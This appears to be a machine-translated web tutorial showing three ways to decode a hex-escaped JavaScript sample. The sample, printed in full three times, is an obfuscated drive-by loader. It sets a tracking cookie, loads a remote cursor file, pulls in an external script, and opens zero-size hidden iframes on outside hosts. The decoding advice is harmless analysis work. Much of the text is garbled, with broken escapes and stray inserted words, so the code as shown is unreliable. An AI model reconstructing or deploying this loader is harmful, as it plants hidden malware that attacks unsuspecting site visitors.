A powerful javascript code decryption method
The Code is as follows:
Function Get (){
Var $ qL1 = new window ["\ x44 \ x61 \ x74 \ x65"] ()
$ QL1 ["\ x73 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] ($ qL1 ["\ x67 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] () + 24x60x60x1000)
Var vuICgd2 = new window ["\ x53 \ x74 \ x72 \ x69 \ x6e \ x67"] (window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74 "] [" \ x63 \ x6f \ x6f \ x6b \ x69 \ x65 "])
Var JHasS3 = "\ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d"
Var wUhao4 = vuICgd2 ["\ x69 \ x6e \ x64 \ x65 \ x78 \ x4f \ x66"] (JHasS3)
If (wUhao4! =-1 ){
} Else
{Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x63 \ x6f \ x6f \ x6b \ x69 \ x65"] =" \ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d \ x50 \ x4f \ x50 \ x57 \ x49 \ x4e \ x31 \ x3b \ x65 \ x78 \ cross 7 \ x69 \ x72 \ x65 \ x73 \ x3d "+ $ qL1 [" \ x74 \ x6f \ x47 \ x4d \ x54 \ x53 \ x74 \ x72 \ x69 \ x6e \ x67 "] ()
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x48 \ x54 \ x4d \ x4c \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x42 \ x4f \ x44 \ x59 \ x73 \ x74 \ x79 \ x6c \ x65 \ x3d \ '\ x43 \ x55 \ x52 \ x53 \ x4f \ x52 \ x3a \ x75 \ x72 \ x6c \ x28 \ x68 \ x74 \ x74 \ cross \ x3a \ // \ x31 \ x2e \ x35 \ x32 \ x30 \ x73 \ x62 \ x2e \ x63 \ x6e \/\ x61 \ x64 \ x2e \ x6a \ cross \ x67 \ x29 \ '\ x3e \ x3c \/\ x42 \ x4f \ x44 \ x59 \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \/\ x48 \ x54 \ x4d \ x4c \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x73 \ x63 \ x72 \ x69 \ cross client \ x74 \ x73 \ x72 \ x63 \ x3d \" \ x68 \ x74 \ x74 \ cross client \ x3a \/\/\ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ x69 \ x63 \/\ x30 \ x36 \ x31 \ x34 \ x2e \ x6a \ x73 \ "\ x3e \ x3c \/\ x73 \ x63 \ x72 \ x69 \ \ x74 \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x6d \ x6d \ x2e \ x68 \ x74 \ x6d \ x6c \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e ");
Window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x74 \ x6a \ x2e \ x68 \ x74 \ x6d \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e ");
}
} Get ();
Several Methods to decrypt the above Code:
Method 1:
It is just to convert the character into a hexadecimal escape value! You can simply use alert to understand the meaning.
Script alert ('function Get () {var $ qL1 = new window ["\ x44 \ x61 \ x74 \ x65"] () $ qL1 ["\ x73 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] ($ qL1 ["\ x67 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] () + 24x60x60x1000) var vuICgd2 = new window ["\ x53 \ x74 \ x72 \ x69 \ x6e \ x67"] (window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74 "] [" \ x63 \ x6f \ x6f \ x6b \ x69 \ x65 "]) var JHasS3 = "\ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d" var wUhao4 = vuICgd2 ["\ x69 \ x6e \ x64 \ x65 \ x78 \ x4f \ x66 "] (JHasS3) if (WUhao4! =-1) {} else {window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x63 \ x6f \ x6f \ x6b \ x69 \ x65"] = "\ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d \ x50 \ x4f \ x50 \ x57 \ x49 \ x4e \ x31 \ x3b \ x65 \ x78 \ cross-site Scripting (x69) \ x72 \ x65 \ x73 \ x3d "+ $ qL1 [" \ x74 \ x6f \ x47 \ x4d \ x54 \ x53 \ x74 \ x72 \ x69 \ x6e \ x67"] () window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x48 \ x54 \ x4d \ x4c \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x42 \ x4f \ x44 \ x59 \ x73 \ x74 \ x79 \ x6c \ x65 \ x3d \ '\ x43 \ x55 \ x52 \ x53 \ x4f \ x52 \ x3a \ x75 \ x72 \ x6c \ x28 \ x68 \ x74 \ x74 \ cross \ x3a \ // \ x31 \ x2e \ x35 \ x32 \ x30 \ x73 \ x62 \ x2e \ x63 \ x6e \/\ x61 \ x64 \ x2e \ x6a \ cross \ x67 \ x29 \ '\ x3e \ x3c \/\ x42 \ x4f \ x44 \ x59 \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \/\ x48 \ x54 \ x4d \ x4c \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x73 \ x63 \ x72 \ x69 \ cross client \ x74 \ x73 \ x72 \ x63 \ x3d \" \ x68 \ x74 \ x74 \ cross client \ x3a \/\/\ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ x69 \ x63 \/\ x30 \ x36 \ x31 \ x34 \ x2e \ x6a \ x73 \ "\ x3e \ x3c \/\ x73 \ x63 \ x72 \ x69 \ \ x74 \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x6d \ x6d \ x2e \ x68 \ x74 \ x6d \ x6c \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x74 \ x6a \ x2e \ x68 \ x74 \ x6d \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e ");}} get (); ') script
[Ctrl + A select all Note: If you need to introduce external Js, You need to refresh it to execute]
Method 2:
Script function Get () {var $ qL1 = new window ["\ x44 \ x61 \ x74 \ x65"] () $ qL1 ["\ x73 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] ($ qL1 ["\ x67 \ x65 \ x74 \ x54 \ x69 \ x6d \ x65"] () + 24x60x60x1000) var vuICgd2 = new window ["\ x53 \ x74 \ x72 \ x69 \ x6e \ x67"] (window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74 "] [" \ x63 \ x6f \ x6f \ x6b \ x69 \ x65 "]) var JHasS3 = "\ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d" var wUhao4 = vuICgd2 ["\ x69 \ x6e \ x64 \ x65 \ x78 \ x4f \ x66 "] (JHasS3) if (w Uhao4! =-1) {} else {window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x63 \ x6f \ x6f \ x6b \ x69 \ x65"] = "\ x43 \ x6f \ x6f \ x6b \ x69 \ x65 \ x31 \ x3d \ x50 \ x4f \ x50 \ x57 \ x49 \ x4e \ x31 \ x3b \ x65 \ x78 \ cross-site Scripting (x69) \ x72 \ x65 \ x73 \ x3d "+ $ qL1 [" \ x74 \ x6f \ x47 \ x4d \ x54 \ x53 \ x74 \ x72 \ x69 \ x6e \ x67"] () window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x48 \ x54 \ x4d \ x4c \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x42 \ x4f \ x44 \ x59 \ x73 \ x74 \ x79 \ x6c \ x65 \ x3d \ '\ x43 \ x55 \ x52 \ x53 \ x4f \ x52 \ x3a \ x75 \ x72 \ x6c \ x28 \ x68 \ x74 \ x74 \ cross \ x3a \ // \ x31 \ x2e \ x35 \ x32 \ x30 \ x73 \ x62 \ x2e \ x63 \ x6e \/\ x61 \ x64 \ x2e \ x6a \ cross \ x67 \ x29 \ '\ x3e \ x3c \/\ x42 \ x4f \ x44 \ x59 \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \/\ x48 \ x54 \ x4d \ x4c \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x73 \ x63 \ x72 \ x69 \ cross client \ x74 \ x73 \ x72 \ x63 \ x3d \" \ x68 \ x74 \ x74 \ cross client \ x3a \/\/\ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ x69 \ x63 \/\ x30 \ x36 \ x31 \ x34 \ x2e \ x6a \ x73 \ "\ x3e \ x3c \/\ x73 \ x63 \ x72 \ x69 \ \ x74 \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x6d \ x6d \ x2e \ x68 \ x74 \ x6d \ x6c \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e "); window ["\ x64 \ x6f \ x63 \ x75 \ x6d \ x65 \ x6e \ x74"] ["\ x77 \ x72 \ x69 \ x74 \ x65 \ x6c \ x6e"] ("\ x3c \ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x73 \ x72 \ x63 \ x3d \ x68 \ x74 \ x74 \ x3a \ // \ x73 \ x62 \ x2e \ x32 \ x35 \ x75 \ x2e \ x63 \ x6f \ x6d \/\ x64 \ x69 \ x72 \/\ x69 \ x6e \ x64 \ x65 \ x78 \ x5f \ cross-site Scripting (x69) \ x63 \/\ x74 \ x6a \ x2e \ x68 \ x74 \ x6d \ x77 \ x69 \ x64 \ x74 \ x68 \ x3d \ x30 \ x68 \ x65 \ x69 \ x67 \ x68 \ x74 \ x3d \ x30 \ x3e \ x3c \/\ x69 \ x66 \ x72 \ x61 \ x6d \ x65 \ x3e ");}} script alert (unescape (document. scripts [0]. innerHTML. replace (/(\ x)/gi, '%'); script
[Ctrl + A select all Note: If you need to introduce external Js, You need to refresh it to execute]
Method 3:
Script var box = opener.doc ument. getElementsByTagName ("textarea") [0]; box. value = unescape (box. value. replace (/\ x/g, "%"); box. offsetParent. scrollIntoView (); alert ("after the conversion, please enjoy the code on the first floor. "); Self. close (); script
[Ctrl + A select all Note: If you need to introduce external Js, You need to refresh it to execute]
From 51js